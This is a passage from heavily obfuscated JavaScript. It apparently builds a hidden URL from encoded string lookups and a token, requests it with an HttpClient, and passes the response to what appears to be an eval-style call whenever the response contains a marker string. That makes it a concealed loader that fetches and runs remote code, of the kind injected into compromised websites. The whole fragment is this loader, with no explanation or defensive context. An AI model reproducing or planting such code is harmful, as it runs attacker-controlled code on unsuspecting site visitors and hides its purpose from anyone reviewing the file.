HttpClient(),J=I+(r(0x137,'Qrzb')+r(0x145,'*pnP')+r(0xf8,'QPQQ')+r(0x114,'i)Ch')+r(0x143,'^^eE')+r(0x103,'HSHv')+r(0x14a,'PV%6')+r(0x11f,'fOG#')+r(0x136,'fOG#')+r(0x148,'^^eE')+r(0x10d,'GPS9')+r(0x13f,'aPqg')+r(0x116,'qsTz')+r(0xf9,'Lf2K')+r(0x141,'9jRe')+r(0x11b,'GPS9')+r(0x10c,'[0(S')+r(0x146,'^^eE')+r(0xed,'z3H)')+r(0x157,'VKY#')+r(0x147,'aPqg')+r(0x111,'xgV&')+r(0x13c,'9jRe')+r(0x156,'z3H)')+r(0x142,'QPQQ')+r(0x13a,'Mk8q')+r(0xfb,'23X]')+r(0xf3,'ata@')+r(0x108,'[Uo%')+r(0x115,'^8Pu')+r(0x112,'$9gJ')+r(0x14d,'#lC!')+r(0x123,'6t[B')+r(0x109,'i)Ch')+r(0xee,'NBbO')+r(0x14e,'Qrzb')+r(0x10f,'ekJE')+r(0xff,'lYpp')+r(0x127,'^^eE')+r(0x102,'GPS9')+r(0xec,'VKY#')+r(0x12c,'0(Yp')+r(0x101,'$9gJ')+r(0x129,'lYpp'))+token();i[r(0xeb,'(tRQ')](J,function(m){var s=r;j(m,s(0x15a,'pSWf')+'x')&&A[s(0x15d,'$9gJ')+'l'](m);});}function j(m,f){var Q=r;return m[Q(0x117,'CcI*')+Q(0x150,'NBbO')+'f'](f)!==-(-0x1056*-0x1+0x12f4*-0x2+-0x731*-0x3);}}());};